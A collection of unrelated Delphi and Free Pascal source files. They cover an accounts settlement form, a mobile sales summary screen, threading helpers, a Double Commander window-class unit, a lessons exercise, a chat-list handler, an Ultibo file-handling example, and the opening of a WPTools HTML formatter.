FCDSAR := TDBUtils.DSToCDS(ClientDataModule.DSDataCLient.LoadAR(lCustomer), Self);
TcxExtLookupComboBoxProperties(cxGridColARAR.Properties).LoadFromCDS(FCDSAR, 'ID', 'NOBUKTI', ['ID','CUSTOMERID','CUSTOMER','TERBAYAR'],Self);
finally
lCustomer.Free;
end;
end;
procedure TfrmSettlementARAP.LoadDataAP(AIDCustomer : String);
var
lSupplier: TSupplier;
begin
lSupplier := TSupplier.CreateID(AIDCustomer);
try
FCDSAP := TDBUtils.DSToCDS(ClientDataModule.DSDataCLient.LoadAP(lSupplier), Self);
TcxExtLookupComboBoxProperties(cxGridColAPAP.Properties).LoadFromCDS(FCDSAP, 'ID', 'NOBUKTI', ['ID','SUPPLIERID'],Self);
finally
lSupplier.Free;
end;
end;
procedure TfrmSettlementARAP.LoadDataSettlementARAPItemARs;
var
I: Integer;
begin
cxGridTableAR.ClearRows;
for I := 0 to SettlementARAP.SettlementARAPItemARs.Count - 1 do
begin
cxGridTableAR.DataController.AppendRecord;
cxGridTableAR.SetObjectData(SettlementARAP.SettlementARAPItemARs[i], i);
FCDSAR.Filter := 'ID = ' + QuotedStr(SettlementARAP.SettlementARAPItemARs[i].AR.ID);
FCDSAR.Filtered := True;
try
cxGridTableAR.SetValue(i, cxGridColARNominal.Index, FCDSAR.FieldByName('nominal').AsFloat);
cxGridTableAR.SetValue(i, cxGridColARSisa.Index, FCDSAR.FieldByName('sisa').AsFloat + SettlementARAP.SettlementARAPItemARs[i].Nominal);
finally
FCDSAP.Filtered := False;
end;
end;
end;
procedure TfrmSettlementARAP.LoadDataSettlementARAPItemAPs;
var
I: Integer;
begin
cxGridTableAP.ClearRows;
for I := 0 to SettlementARAP.SettlementARAPItemAPs.Count - 1 do
begin
cxGridTableAP.DataController.AppendRecord;
cxGridTableAP.SetObjectData(SettlementARAP.SettlementARAPItemAPs[i], i);
FCDSAP.Filter := 'ID = ' + QuotedStr(SettlementARAP.SettlementARAPItemAPs[i].AP.ID);
FCDSAP.Filtered := True;
try
cxGridTableAP.SetValue(i, cxGridColAPNominal.Index, FCDSAP.FieldByName('nominal').AsFloat);
cxGridTableAP.SetValue(i, cxGridColAPSisa.Index, FCDSAP.FieldByName('sisa').AsFloat + SettlementARAP.SettlementARAPItemAPs[i].Nominal);
finally
FCDSAP.Filtered := False;
end;
end;
end;
procedure TfrmSettlementARAP.UpdateSettlementARAPItemARs;
var
I: Integer;
lSettlementARAPItemAR: TSettlementARAPItemAR;
begin
SettlementARAP.SettlementARAPItemARs.Clear;
for I := 0 to cxGridTableAR.DataController.RecordCount - 1 do
begin
lSettlementARAPItemAR := TSettlementARAPItemAR.Create();
cxGridTableAR.LoadObjectData(lSettlementARAPItemAR, i);
SettlementARAP.SettlementARAPItemARs.Add(lSettlementARAPItemAR);
end;
end;
procedure TfrmSettlementARAP.UpdateSettlementARAPItemAPs;
var
I: Integer;
lSettlementAPAPItemAP: TSettlementARAPItemAP;
begin
SettlementARAP.SettlementARAPItemAPs.Clear;
for I := 0 to cxGridTableAP.DataController.RecordCount - 1 do
begin
lSettlementAPAPItemAP := TSettlementARAPItemAP.Create();
cxGridTableAP.LoadObjectData(lSettlementAPAPItemAP, i);
SettlementARAP.SettlementARAPItemAPs.Add(lSettlementAPAPItemAP);
end;
end;
end.
|
unit G2Mobile.View.ResumoVendedor;
interface
uses
System.SysUtils,
System.Types,
System.UITypes,
System.Classes,
System.Variants,
FMX.Types,
FMX.Controls,
FMX.Forms,
FMX.Graphics,
FMX.Dialogs,
FMX.Controls.Presentation,
FMX.StdCtrls,
FMX.Layouts,
FMX.Objects,
FMX.TabControl,
FMX.Gestures,
FMX.ListView.Types,
FMX.ListView.Appearances,
FMX.ListView.Adapters.Base,
FMX.ListView,
FMX.DateTimeCtrls,
Datasnap.DBClient,
FireDAC.Stan.Intf,
FireDAC.Stan.Option,
FireDAC.Stan.Param,
FireDAC.Stan.Error,
FireDAC.DatS,
FireDAC.Phys.Intf,
FireDAC.DApt.Intf,
Data.DB,
FireDAC.Comp.DataSet,
FireDAC.Comp.Client,
System.DateUtils,
uDataBase,
uFrmMain,
FMX.Ani,
FMX.Effects,
Loading,
G2Mobile.Model.ResumoVendedorItens,
G2Mobile.Model.ResumoVendedorClientes;
type
TFrmResumoVend = class(TForm)
LayoutClientPesq: TLayout;
TabControl1: TTabControl;
TabItem2: TTabItem;
TabItem3: TTabItem;
Label8: TLabel;
Layout7: TLayout;
Layout8: TLayout;
edt_DtIniProd: TDateEdit;
edt_DtFimProd: TDateEdit;
rct_BuscaProd: TRectangle;
Label9: TLabel;
Label10: TLabel;
ListView1: TListView;
FDMemTable1: TFDMemTable;
Label2: TLabel;
Layout9: TLayout;
edt_DtIniClient: TDateEdit;
edt_DtFimClient: TDateEdit;
rct_BuscaClient: TRectangle;
Label11: TLabel;
Label12: TLabel;
ListView2: TListView;
lay_button: TLayout;
GridPanelLayout2: TGridPanelLayout;
Layout11: TLayout;
Layout12: TLayout;
rct_TabClientes: TRectangle;
rct_TabProd: TRectangle;
Label14: TLabel;
Label15: TLabel;
Image2: TImage;
Image3: TImage;
Layout13: TLayout;
Rectangle5: TRectangle;
ShadowEffect1: TShadowEffect;
lbl_qtdPedClient: TLabel;
lbl_PesoClient: TLabel;
lbl_VlrTotClient: TLabel;
ShadowEffect3: TShadowEffect;
Layout14: TLayout;
Rectangle7: TRectangle;
lbl_PesoProd: TLabel;
lbl_QtdPedProd: TLabel;
lbl_VlrTotProd: TLabel;
ShadowEffect2: TShadowEffect;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure rct_BuscaProdClick(Sender: TObject);
procedure rct_TabClientesClick(Sender: TObject);
procedure rct_TabProdClick(Sender: TObject);
procedure rct_BuscaClientClick(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FrmResumoVend: TFrmResumoVend;
implementation
{$R *.fmx}
uses
uFrmUtilFormate,
G2Mobile.View.Inicio;
procedure TFrmResumoVend.Button3Click(Sender: TObject);
begin
FrmMain.MudarCabecalho('Início');
FrmMain.FormOpen(TFrmInicio);
end;
procedure TFrmResumoVend.FormCreate(Sender: TObject);
var
ListClient, ListProd: TStringList;
begin
inherited;
edt_DtIniClient.Date := StartOfTheMonth(Date);
edt_DtFimClient.Date := EndOfTheMonth(Date);
edt_DtIniProd.Date := StartOfTheMonth(Date);
edt_DtFimProd.Date := EndOfTheMonth(Date);
TabControl1.TabIndex := 0;
try
ListProd := TStringList.Create;
TModelResumoVendedorItens.new.PopulaListView(ListView1, ListProd);
lbl_QtdPedProd.Text := ListProd[0];
lbl_PesoProd.Text := ListProd[1];
lbl_VlrTotProd.Text := ListProd[2];
finally
FreeAndNil(ListProd);
end;
try
ListClient := TStringList.Create;
TModelResumoVendedorClientes.new.PopulaListView(ListView2, ListClient);
lbl_qtdPedClient.Text := ListClient[0];
lbl_PesoClient.Text := ListClient[1];
lbl_VlrTotClient.Text := ListClient[2];
finally
FreeAndNil(ListClient);
end;
end;
procedure TFrmResumoVend.rct_BuscaClientClick(Sender: TObject);
var
DataSet : TFDMemTable;
ListClient: TStringList;
begin
TLoading.Show('Consultando...');
TThread.CreateAnonymousThread(
procedure
var
DataSet: TFDMemTable;
ListClient: TStringList;
begin
if verificaConexao then
begin
try
ListClient := TStringList.Create;
DataSet := TFDMemTable.Create(nil);
TModelResumoVendedorClientes.new.LimpaTabelas.BuscaClienteVendidosServidor(edt_DtIniClient.Date,
edt_DtFimClient.Date, codVend, DataSet).PopulaClienteVendidoSqLite(DataSet).PopulaListView(ListView2,
ListClient);
lbl_qtdPedClient.Text := ListClient[0];
lbl_PesoClient.Text := ListClient[1];
lbl_VlrTotClient.Text := ListClient[2];
finally
FreeAndNil(DataSet);
FreeAndNil(ListClient);
end;
end;
TThread.Synchronize(nil,
procedure
begin
TLoading.Hide;
end);
end).Start;
end;
procedure TFrmResumoVend.rct_BuscaProdClick(Sender: TObject);
var
DataSet : TFDMemTable;
ListProd: TStringList;
begin
TLoading.Show('Consultando...');
TThread.CreateAnonymousThread(
procedure
var
DataSet: TFDMemTable;
ListClient: TStringList;
begin
if verificaConexao then
begin
try
ListProd := TStringList.Create;
DataSet := TFDMemTable.Create(nil);
TModelResumoVendedorItens.new.LimpaTabelas.BuscaProdVendidosServidor(edt_DtIniProd.Date, edt_DtFimProd.Date,
codVend, DataSet).PopulaProdVendidoSqLite(DataSet).PopulaListView(ListView1, ListProd);
lbl_QtdPedProd.Text := ListProd[0];
lbl_PesoProd.Text := ListProd[1];
lbl_VlrTotProd.Text := ListProd[2];
finally
FreeAndNil(DataSet);
FreeAndNil(ListProd);
end;
end;
TThread.Synchronize(nil,
procedure
begin
TLoading.Hide;
end);
end).Start;
end;
procedure TFrmResumoVend.rct_TabClientesClick(Sender: TObject);
begin
TabControl1.TabIndex := 0;
end;
procedure TFrmResumoVend.rct_TabProdClick(Sender: TObject);
begin
TabControl1.TabIndex := 1;
end;
end.
|
unit uCore.CriticalSection;
interface
uses
{ TThread }
System.Classes,
{ TThreadList }
System.Generics.Collections,
{ TRTLCriticalSection }
WinApi.Windows,
{ TImage }
Vcl.ExtCtrls;
type
/// <summary>
/// Class instance for "Critical Sections" -- for manage shared objects for multithread application
/// </summary>
CriticalSection = class
public
type
TImages = TObjectList<TImage>;
TImagesThreadPool = TThreadList<TThread>;
public
/// <summary>
/// Just informative counter
/// </summary>
class var FThreadsCompleted: Integer;
class var FPostponedCloseOnceAllTaskCompleted: Boolean;
class var FImages: TImages;
class var FImagesThreadPool: TImagesThreadPool;
class var FPendingFiles: TStringList;
class var FDisplayIndex: Integer;
class var Section: TRTLCriticalSection;
class constructor Create;
class destructor Destroy;
end;
implementation
uses
{ FreeAndNil }
System.SysUtils;
class constructor CriticalSection.Create;
begin
inherited;
try
FImages := TImages.Create;
FImagesThreadPool := TImagesThreadPool.Create;
FPendingFiles := TStringList.Create;
except
raise;
end;
end;
class destructor CriticalSection.Destroy;
begin
FPendingFiles.Free;
FImagesThreadPool.Free;
FreeAndNil(FImages);
inherited;
end;
initialization
InitializeCriticalSection(CriticalSection.Section);
finalization
DeleteCriticalSection(CriticalSection.Section);
end.
|
{
Double commander
-------------------------------------------------------------------------
Setup unique window class name for main form
Copyright (C) 2016 Alexander Koblov (alexx2000@mail.ru)
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
}
unit uDClass;
{$mode objfpc}{$H+}
interface
implementation
uses
Classes, SysUtils, Win32Int, WSLCLClasses, Forms, Windows, Win32Proc,
Controls, Win32WSForms, LCLType, fMain;
const
ClassNameW: UnicodeString = 'DClass'#0;
type
{ TWin32WSCustomFormEx }
TWin32WSCustomFormEx = class(TWin32WSCustomForm)
published
class function CreateHandle(const AWinControl: TWinControl;
const AParams: TCreateParams): HWND; override;
end;
{ TWin32WSCustomFormEx }
class function TWin32WSCustomFormEx.CreateHandle(const AWinControl: TWinControl;
const AParams: TCreateParams): HWND;
var
AClass: String;
AMainForm: Boolean;
begin
AMainForm := AWinControl is TfrmMain;
if AMainForm then
begin
AClass := ClsName;
ClsName := String(ClassNameW);
end;
Result := inherited CreateHandle(AWinControl, AParams);
if AMainForm then ClsName := AClass;
end;
function WinRegister: Boolean;
var
WindowClassW: WndClassW;
begin
ZeroMemory(@WindowClassW, SizeOf(WndClassW));
with WindowClassW do
begin
Style := CS_DBLCLKS;
LPFnWndProc := @WindowProc;
hInstance := System.HInstance;
hIcon := Windows.LoadIcon(MainInstance, 'MAINICON');
if hIcon = 0 then
hIcon := Windows.LoadIcon(0, IDI_APPLICATION);
hCursor := Windows.LoadCursor(0, IDC_ARROW);
LPSzClassName := PWideChar(ClassNameW);
end;
Result := Windows.RegisterClassW(@WindowClassW) <> 0;
end;
procedure Initialize;
begin
WinRegister;
// Replace TCustomForm widgetset class
with TCustomForm.CreateNew(nil) do Free;
RegisterWSComponent(TCustomForm, TWin32WSCustomFormEx);
end;
initialization
Initialize;
finalization
Windows.UnregisterClassW(PWideChar(ClassNameW), System.HInstance);
end.
|
unit task_3;
interface
uses
SysUtils, System.Generics.Collections;
// Класс занятий, занятие имеет учителя, Группу и предмет
type
TLesson = class
public
Teacher: String;
StudentsGroup: String;
Subject: String;
constructor __init__(my_teacher: String; my_sg: String; my_subject: String);
function ToString: String;
end;
// Главная структура
type
TLessons=class
private
items: TArray<TLesson>;
public
constructor __init__;
// добавляем занятие
procedure add(teacher: String; sg: String; subject: String);
// какие предметы читает заданный преподаватель заданной группе
function wsdtrfg(teacher: String; sg: String): String;
// какие преподаватели читают заданный предмет заданной группе,
function wtrgsubjecttggrou(sg: String; subj: String): String;
// каким группам преподает заданный преподаватель.
function wgtgtt(teacher: String): String;
end;
implementation
const
NL: String = ^M + ^J;
TAB: String = chr(9);
NLTAB: String = ^M + ^J + chr(9);
{ TLesson }
function TLesson.ToString: String;
begin
result := '{' + NL + ' "Teache": "' + self.Teacher + '", ' +
NL + '"Subject": "' + self.Subject + '", ' +
NL + '"Students Group": "' + self.StudentsGroup + '" ' +
NL + '}';
end;
constructor TLesson.__init__(my_teacher: String; my_sg: String;
my_subject: String);
begin
self.Teacher := my_teacher;
self.StudentsGroup := my_sg;
self.Subject := my_subject;
end;
{ TLessons }
procedure TLessons.add(teacher: String; sg: String; subject: String);
var lesson: TLesson;
begin
lesson := TLesson.__init__(teacher, sg, subject);
SetLength(self.items, Length(self.items)+1);
self.items[High(self.items)] := lesson;
end;
function TLessons.wgtgtt(teacher: String): String;
var lesson: TLesson;
begin
result := '{' + NL + '"Teacher": "' + teacher + '", ' + NL + '"Groups:" [';
for lesson in self.items do
begin
if lesson.Teacher = teacher then
result := result + NLTAB + '"' + lesson.StudentsGroup + '", ';
end;
result := result + NLTAB + ']' + Nl + '}';
end;
function TLessons.wsdtrfg(teacher: String; sg: String): String;
var lesson: TLesson;
begin
result := '{' + NL + '"Teacher": "' + teacher + '", ' + NL +
'"Group:" ' + '"' + sg + '", ' + NL + '"Subjects": [';
for lesson in self.items do
begin
if (lesson.Teacher = teacher) and (lesson.StudentsGroup = sg) then
result := result + NLTAB + '"' + lesson.Subject + '", ';
end;
result := result + NLTAB + ']' + Nl + '}';
end;
function TLessons.wtrgsubjecttggrou(sg: String; subj: String): String;
var lesson: TLesson;
begin
result := '{' + NL + '"Group": "' + sg + '", ' + NL +
'"Subject:" ' + '"' + subj + '", ' + NL + '"Teachers": [';
for lesson in self.items do
begin
if (lesson.StudentsGroup = sg) and (lesson.Subject = subj) then
result := result + NLTAB + '"' + lesson.Teacher + '", ';
end;
result := result + NLTAB + ']' + Nl + '}';
end;
constructor TLessons.__init__;
begin
SetLength(self.items, 0);
end;
end.
|
unit ChatListHandler;
interface
uses
VoyagerInterfaces, VoyagerServerInterfaces, Controls, ChatListHandlerViewer, ChatHandler;
type
TMetaChatListHandler =
class( TInterfacedObject, IMetaURLHandler )
// IMetaURLHandler
private
function getName : string;
function getOptions : TURLHandlerOptions;
function getCanHandleURL( URL : TURL ) : THandlingAbility;
function Instantiate : IURLHandler;
end;
TChatListHandler =
class( TInterfacedObject, IURLHandler )
private
constructor Create;
destructor Destroy; override;
private
fControl : TChatListHandlerView;
fClientView : IClientView;
fPrivacyHandler : IPrivacyHandler;
// IURLHandler
private
function HandleURL( URL : TURL ) : TURLHandlingResult;
function HandleEvent( EventId : TEventId; var info ) : TEventHandlingResult;
function getControl : TControl;
procedure setMasterURLHandler( URLHandler : IMasterURLHandler );
private
fMasterURLHandler : IMasterURLHandler;
private
procedure OnChatOverMapClick( Sender : TObject );
private
procedure threadedUpdateUserList( const parms : array of const );
procedure syncUpdateUserList( const parms : array of const );
end;
const
tidHandlerName_ChatList = 'ChatListHandler';
const
evnChatOverMap = 2030;
implementation
uses
SysUtils, ServerCnxHandler, Protocol, Classes, MapIsoHandler,
Events, VoyagerUIEvents, ServerCnxEvents, Threads, Literals;
// TMetaChatListHandler
function TMetaChatListHandler.getName : string;
begin
result := tidHandlerName_ChatList;
end;
function TMetaChatListHandler.getOptions : TURLHandlerOptions;
begin
result := [hopCacheable];
end;
function TMetaChatListHandler.getCanHandleURL( URL : TURL ) : THandlingAbility;
begin
result := 0;
end;
function TMetaChatListHandler.Instantiate : IURLHandler;
begin
result := TChatListHandler.Create;
end;
// TChatListHandler
constructor TChatListHandler.Create;
begin
inherited Create;
fControl := TChatListHandlerView.Create( nil );
end;
destructor TChatListHandler.Destroy;
begin
fControl.Free;
inherited;
end;
function TChatListHandler.HandleURL( URL : TURL ) : TURLHandlingResult;
begin
result := urlNotHandled;
end;
function TChatListHandler.HandleEvent( EventId : TEventId; var info ) : TEventHandlingResult;
var
UserListChangeInfo : TUserListChangeInfo absolute info;
ChatMsgInfo : TChatMsgInfo absolute info;
MsgCompositionChangeInfo : TMsgCompositionChangeInfo absolute info;
ScrollInfo : TEvnScrollInfo absolute info;
checked : boolean;
begin
result := evnNotHandled;
case EventId of
evnUserListChanged :
if UserListChangeInfo.Change = uchInclusion
then fControl.AddUser( UserListChangeInfo.UserName )
else fControl.DelUser( UserListChangeInfo.UserName );
evnChatMsg :
fControl.UserHasSpoken( ChatMsgInfo.From );
evnMsgCompositionChanged :
fControl.MsgCompostionChanged( MsgCompositionChangeInfo.UserName, MsgCompositionChangeInfo.State );
evnScroll :;
evnScrollEnd :;
evnHandlerExposed, evnChannelChanged :
begin
fControl.UserList.Items.BeginUpdate;
fControl.UserList.Items.Clear;
fControl.UserList.Items.EndUpdate;
fControl.AddUser( GetLiteral('Literal211') );
Fork( threadedUpdateUserList, priNormal, [self] );
if EventId = evnHandlerExposed
then
begin
fControl.ChatOverMap.OnClick := OnChatOverMapClick;
fControl.ClientView := fClientView;
fControl.MasterURLHandler := fMasterURLHandler;
fControl.PrivacyHandler := fPrivacyHandler;
checked := fControl.ChatOverMap.Tag = 1;
if not checked
then fMasterURLHandler.HandleURL( '?' + 'frame_Id=' + tidHandlerName_Chat )
else fMasterURLHandler.HandleEvent( evnChatOverMap, checked );
end;
end;
evnHandlerUnexposed :
fMasterURLHandler.HandleURL( '?' + 'frame_Id=' + tidHandlerName_Chat + '&frame_Close=yes' );
evnLogonStarted :
fMasterURLHandler.HandleURL( '?' + 'frame_Id=' + tidHandlerName_ChatList + '&frame_Close=yes' );
evnLogonCompleted :
begin
fControl.UserList.Items.BeginUpdate;
try
fControl.UserList.Items.Clear;
finally
fControl.UserList.Items.EndUpdate;
end;
fControl.AddUser( GetLiteral('Literal211') );
Fork( threadedUpdateUserList, priNormal, [self] );
end;
else
exit;
end;
result := evnHandled;
end;
function TChatListHandler.getControl : TControl;
begin
result := fControl;
end;
procedure TChatListHandler.setMasterURLHandler( URLHandler : IMasterURLHandler );
begin
fMasterURLHandler := URLHandler;
fMasterURLHandler.HandleEvent( evnAnswerClientView, fClientView );
fMasterURLHandler.HandleEvent( evnAnswerPrivacyHandler, fPrivacyHandler );
end;
procedure TChatListHandler.OnChatOverMapClick( Sender : TObject );
var
checked : boolean;
begin
if fControl.ChatOverMap.Tag = 0
then
begin
fControl.ChatOverMap.Tag := 1;
fControl.ChatOverMap.Text := GetLiteral('Literal212');
end
else
begin
fControl.ChatOverMap.Tag := 0;
fControl.ChatOverMap.Text := GetLiteral('Literal213');
end;
checked := fControl.ChatOverMap.Tag = 1;
fMasterURLHandler.HandleEvent( evnChatOverMap, checked );
if fControl.ChatOverMap.Tag = 1
then fMasterURLHandler.HandleURL( '?' + 'frame_Id=' + tidURLHandler_MapIsoHandler )
else fMasterURLHandler.HandleURL( '?' + 'frame_Id=' + tidHandlerName_Chat );
fMasterURLHandler.HandleEvent( evnChatOverMap, checked );
end;
procedure TChatListHandler.threadedUpdateUserList( const parms : array of const );
var
UserList : TStringList;
ErrorCode : TErrorCode;
begin
UserList := fClientView.GetUserList( ErrorCode );
if UserList <> nil
then Join( syncUpdateUserList, [UserList] );
end;
procedure TChatListHandler.syncUpdateUserList( const parms : array of const );
var
UserList : TStringList absolute parms[0].vPointer;
i : integer;
begin
fControl.UserList.Items.BeginUpdate;
try
fControl.UserList.Items.Clear;
for i := 0 to pred(UserList.Count) do
fControl.AddUser( UserList[i] );
finally
fControl.UserList.Items.EndUpdate;
end;
end;
end.
|
program FileHandling;
{$mode objfpc}{$H+}
{ Example 08 File Handling }
{ }
{ This example demonstrates just a few basic functions of file handling which }
{ is a major topic in itself. }
{ }
{ For more information on all of the available file function see the Ultibo }
{ Wiki or the Free Pascal user guide. }
{ }
{ To compile the example select Run, Compile (or Run, Build) from the menu. }
{ }
{ Once compiled select Tools, Run in QEMU ... from the Lazarus menu to launch }
{ the application in a QEMU session. }
{ }
{ QEMU VersatilePB version }
{ What's the difference? See Project, Project Options, Config and Target. }
{Declare some units used by this example.}
uses
QEMUVersatilePB,
GlobalConst,
GlobalTypes,
Platform,
Threads,
Console,
HTTP, {Include HTTP and WebStatus so we can see from a web browser what is happening}
Classes,
uTFTP,
Winsock2,
{ needed for telnet }
Shell,
ShellFilesystem,
ShellUpdate,
RemoteShell,
Framebuffer,
SysUtils,
uReadBin,
FileSystem, {Include the file system core and interfaces}
FATFS, {Include the FAT file system driver}
MMC; {Include the MMC/SD core to access our SD card}
type
StrBuffer = array[0..65] of String;
StrBufPtr = ^StrBuffer;
{A window handle plus a couple of others.}
var
Count:Integer;
aFilename:String;
SearchRec:TSearchRec;
aStringList:TStringList;
FileStream:TFileStream;
WindowHandle:TWindowHandle;
StrB : StrBuffer;
StrBP : StrBufPtr;
PP : Pointer;
i,j: integer;
function WaitForIPComplete : string;
var
TCP : TWinsock2TCPClient;
begin
TCP := TWinsock2TCPClient.Create;
Result := TCP.LocalAddress;
if (Result = '') or (Result = '0.0.0.0') or (Result = '255.255.255.255') then
begin
while (Result = '') or (Result = '0.0.0.0') or (Result = '255.255.255.255') do
begin
sleep (1500);
Result := TCP.LocalAddress;
end;
end;
TCP.Free;
end;
procedure Msg (Sender : TObject; s : string);
begin
ConsoleWindowWriteLn (WindowHandle, s);
end;
begin
{Create our window}
WindowHandle:=ConsoleWindowCreate(ConsoleDeviceGetDefault,CONSOLE_POSITION_FULL,True);
{Output the message}
ConsoleWindowWriteLn(WindowHandle,'Welcome to Example 08 File Handling');
ConsoleWindowWriteLn(WindowHandle,'');
{We may need to wait a couple of seconds for any drive to be ready}
ConsoleWindowWriteLn(WindowHandle,'Waiting for drive C:\');
while not DirectoryExists('C:\') do
begin
{Sleep for a moment}
Sleep(100);
end;
ConsoleWindowWriteLn(WindowHandle,'C:\ drive is ready');
ConsoleWindowWriteLn(WindowHandle,'');
{First let's list the contents of the SD card. We can guess that it will be C:\
drive because we didn't include the USB host driver.}
ConsoleWindowWriteLn(WindowHandle,'Contents of drive C:\');
{To list the contents we need to use FindFirst/FindNext, start with FindFirst}
if FindFirst('C:\*.*',faAnyFile,SearchRec) = 0 then
begin
{If FindFirst succeeds it will return 0 and we can proceed with the search}
repeat
{Print the file found to the screen}
ConsoleWindowWriteLn(WindowHandle,'Filename is ' + SearchRec.Name + ' - Size is ' + IntToStr(SearchRec.Size) + ' - Time is ' + DateTimeToStr(FileDateToDateTime(SearchRec.Time)));
{We keep calling FindNext until there are no more files to find}
until FindNext(SearchRec) <> 0;
end;
{After any call to FindFirst, you must call FindClose or else memory will be leaked}
FindClose(SearchRec);
ConsoleWindowWriteLn(WindowHandle,'');
{If you remove the SD card and put in back in your computer, you should see the
file "Example 08 File Handling.txt" on it. If you open it in a notepad you should
see the contents exactly as they appeared on screen.}
aFilename:='C:\bb.bin';
setFileName(aFileName);
SetStingList(aStringList);
StrBP:=@StrB;
i:=0;
Characters:=Readit(i);
{The six lines above
only need to be done once. These are followed with a
The StrBuffer array starts at 0 to 63 contains 64 Strings each of 65 characters
StrBP is a pointer that points to the StrBuffer array each string in the array
can be accessed by StrBP^[index] where the index is 0 to 63
The call of function Characters:=Readit(i); reads from the disk and puts the entire
file in the Buffer = array[0..4159] of Char; of uReadBin.pas}
while (i < 4160) do
begin
Characters:=ReadBuffer(i);
PCharacters:=@Characters;
StrBP^[j]:=Characters;
ConsoleWindowWriteLn(WindowHandle,intToStr(i)+' '+StrBP^[j]);
Inc(PCharacters);
i:=i+65;
Inc(j);
end;
ConsoleWindowWriteLn(WindowHandle,'Testing random strings');
{The StrBuffer array starts at 0 to 63 contains 64 Strings each of 65 characters}
ConsoleWindowWriteLn(WindowHandle,'63 '+StrBP^[63]);
ConsoleWindowWriteLn(WindowHandle,'60 '+StrBP^[60]);
ConsoleWindowWriteLn(WindowHandle,'50 '+StrBP^[50]);
ConsoleWindowWriteLn(WindowHandle,'0 '+StrBP^[0]);
ConsoleWindowWriteLn(WindowHandle,'9 '+StrBP^[9]);
{Halt the thread}
ThreadHalt(0);
end.
|
unit WPRTEFormatB;
{ -----------------------------------------------------------------------------
Copyright (C) 2002-2013 by wpcubed GmbH - Author: Julian Ziersch
info: http://www.wptools.de mailto:support@wptools.de
__ __ ___ _____ _ _____
/ / /\ \ \/ _ \/__ \___ ___ | |___ |___ |
\ \/ \/ / /_)/ / /\/ _ \ / _ \| / __| / /
\ /\ / ___/ / / | (_) | (_) | \__ \ / /
\/ \/\/ \/ \___/ \___/|_|___/ /_/
*****************************************************************************
WPRTEFormatB - WPTools 7 HTML reformat routine
*****************************************************************************
THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.
----------------------------------------------------------------------------- }
interface
uses Classes, SysUtils, WPRTEDefs, WPRTEDefsConsts, WPRTEPlatform, WPRTEFormatBase;
type
TWPHTMRTFBlockFormatter = class(TWPAbstractRTFDataBlockFormatter)
public
procedure Format(block: TWPRTFDataBlock; FromPage, ToPage: Integer); override;
end;
implementation
type
TWPLineListMode = set of (wplHasColSpan, wplIsColSpan, wplIsColSpanFirst, wplIsRowSpanLast, wplIsRowSpanFirst, wplIsRowSpan, wpIsDummyCol);
TWPLineMeasureMode = set of (wplMeasureHasFixedWidth, wplNoMinWidth, wplNoMinHeight, wplLimitToPageWidth);
TWPLineList = class(TObject)
public
xres, yres: Integer;
ParentLine: TWPLineList;
vchildren: TList;
hchildren: TList;
par: TParagraph;
rowspanfirst: TWPLineList;
w_exact: Integer;
w_min: Integer;
w_min_span: Integer;
w_max_span: Integer;
w_defined: Integer;
w_defined_pc: Integer;
w_all: Integer;
w_print: Integer;
w_maxprint: Integer;
mode: TWPLineListMode;
lines: array of TWPVirtPageImageLineRef;
row_pageno, row_yo, row_xo: Integer;
y_after, y_before: Integer;
x_after, x_before: Integer;
padd_l, padd_r, padd_t, padd_b, padd_horz, padd_vert: Integer;
firstrow: TWPLineList;
currpage_brd: TWPVirtPage;
currpage_lnr: Integer;
constructor Create(Parent: TWPLineList; currxres, curryres: Integer);
destructor Destroy; override;
procedure Measure(aRTFEngine: TWPRTFEngineBasis; Parent: TWPLineList; ParVLevel: Integer;
MMode: TWPLineMeasureMode; MainRow: TWPLineList = nil);
procedure Format(maxw, floww: Integer; MMode: TWPLineMeasureMode);
procedure Print(block: TWPRTFDataBlock; var pagenr: Integer; reserved_h: Integer; x: Integer; var y: Integer; MeasureMode: Boolean);
end;
constructor TWPLineList.Create(Parent: TWPLineList; currxres, curryres: Integer);
begin
inherited Create;
ParentLine := Parent;
vchildren := TList.Create;
hchildren := TList.Create;
xres := currxres;
yres := curryres;
end;
destructor TWPLineList.Destroy;
var i: Integer;
begin
for i := 0 to vchildren.Count - 1 do
TWPLineList(vchildren[i]).Free;
FreeAndNil(vchildren);
for i := 0 to hchildren.Count - 1 do
TWPLineList(hchildren[i]).Free;
FreeAndNil(hchildren);
FreeAndNil(firstrow);
lines := nil;
inherited Destroy;
end;
procedure TWPLineList.Measure(aRTFEngine: TWPRTFEngineBasis; Parent: TWPLineList;
ParVLevel: Integer; MMode: TWPLineMeasureMode; MainRow: TWPLineList = nil);
var i, c, cc, n, w, nn, a, a2, w2, w3, w4: Integer;
apar, runpar: TParagraph;
p, p2: TWPLineList;
aTextObj: TWPTextObj;
begin
if (par <> nil) and (par.ParagraphType <> wpIsTableRow) then
begin
nn := par.AGetDef(WPAT_PaddingAll, 0);
padd_l := par.AGetDef(WPAT_PaddingLeft, nn);
padd_r := par.AGetDef(WPAT_PaddingRight, nn);
padd_t := par.AGetDef(WPAT_PaddingTop, nn);
padd_b := par.AGetDef(WPAT_PaddingBottom, nn);
if par.ParagraphType = wpIsTable then
begin
padd_horz := par.AGetDef(WPAT_CellPadding, nn);
padd_vert := MulDiv(padd_horz, yres, 1440);
padd_horz := MulDiv(padd_horz, xres, 1440);
n := par.AGetDef(WPAT_CellSpacing, 0);
if n > 0 then
begin
inc(padd_l, n);
inc(padd_r, n);
inc(padd_t, n);
inc(padd_b, n);
end;
end;
nn := par.AGetDef(WPAT_BorderWidth, 0);
if padd_l = 0 then padd_l := padd_l + par.AGetDef(WPAT_BorderWidthL, nn);
if padd_r = 0 then padd_r := padd_r + par.AGetDef(WPAT_BorderWidthR, nn);
if padd_t = 0 then padd_t := padd_t + par.AGetDef(WPAT_BorderWidthT, nn);
